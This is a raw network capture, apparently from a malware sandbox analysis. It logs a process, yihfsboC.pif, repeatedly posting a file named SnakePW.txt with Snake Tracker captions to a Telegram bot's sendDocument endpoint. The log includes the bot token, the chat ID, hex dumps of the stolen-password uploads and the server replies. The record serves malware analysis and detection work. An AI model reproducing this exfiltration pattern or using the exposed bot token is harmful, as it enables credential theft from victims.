2024-11-26 07:25:42 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:25:42 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:25:42 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 38 38 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 34 32 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388884,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605942,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.7	49832	149.154.167.220	443	7240	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:25:42 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0eb5ee92c4e0 Host: api.telegram.org Content-Length: 537
2024-11-26 07:25:42 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 65 62 35 65 65 39 32 63 34 65 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 34 3a 35 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0eb5ee92c4e0Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:24:52Client
2024-11-26 07:25:42 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:25:42 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:25:42 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 38 38 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 34 32 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388886,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605942,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.7	49836	149.154.167.220	443	7924	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:25:42 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0e2c53de666f Host: api.telegram.org Content-Length: 537
2024-11-26 07:25:42 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 65 32 63 35 33 64 65 36 36 36 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 34 3a 30 33 3a 31 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0e2c53de666fContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 04:03:12Client
2024-11-26 07:25:43 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:25:43 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:25:43 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 38 38 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 34 33 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388888,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605943,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.7	49839	149.154.167.220	443	7660	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:25:44 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0e58399bf1a8 Host: api.telegram.org Content-Length: 537
2024-11-26 07:25:44 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 65 35 38 33 39 39 62 66 31 61 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 35 3a 30 34 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0e58399bf1a8Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:25:04Client
2024-11-26 07:25:44 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:25:44 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:25:44 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 38 39 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 34 34 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388891,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605944,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.7	49840	149.154.167.220	443	7240	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:25:44 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0ecccaf1fdd6 Host: api.telegram.org Content-Length: 537
2024-11-26 07:25:44 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 65 63 63 63 61 66 31 66 64 64 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 34 3a 35 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0ecccaf1fdd6Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:24:52Client
2024-11-26 07:25:44 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:25:44 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:25:44 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 38 39 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 34 34 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388890,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605944,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.7	49842	149.154.167.220	443	7924	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:25:45 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0e425aa9301b Host: api.telegram.org Content-Length: 537
2024-11-26 07:25:45 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 65 34 32 35 61 61 39 33 30 31 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 34 3a 30 33 3a 31 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0e425aa9301bContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 04:03:12Client
2024-11-26 07:25:46 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:25:45 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:25:46 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 38 39 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 34 35 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388894,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605945,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.7	49846	149.154.167.220	443	7240	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:25:46 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0ee23a537a0e Host: api.telegram.org Content-Length: 537
2024-11-26 07:25:46 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 65 65 32 33 61 35 33 37 61 30 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 34 3a 35 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0ee23a537a0eContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:24:52Client
2024-11-26 07:25:46 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:25:46 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:25:46 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 38 39 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 34 36 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388896,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605946,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.7	49847	149.154.167.220	443	7660	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:25:46 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0e6f6632ec55 Host: api.telegram.org Content-Length: 537
2024-11-26 07:25:46 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 65 36 66 36 36 33 32 65 63 35 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 35 3a 30 34 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0e6f6632ec55Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:25:04Client
2024-11-26 07:25:46 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:25:46 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:25:46 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 38 39 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 34 36 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388898,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605946,"documen

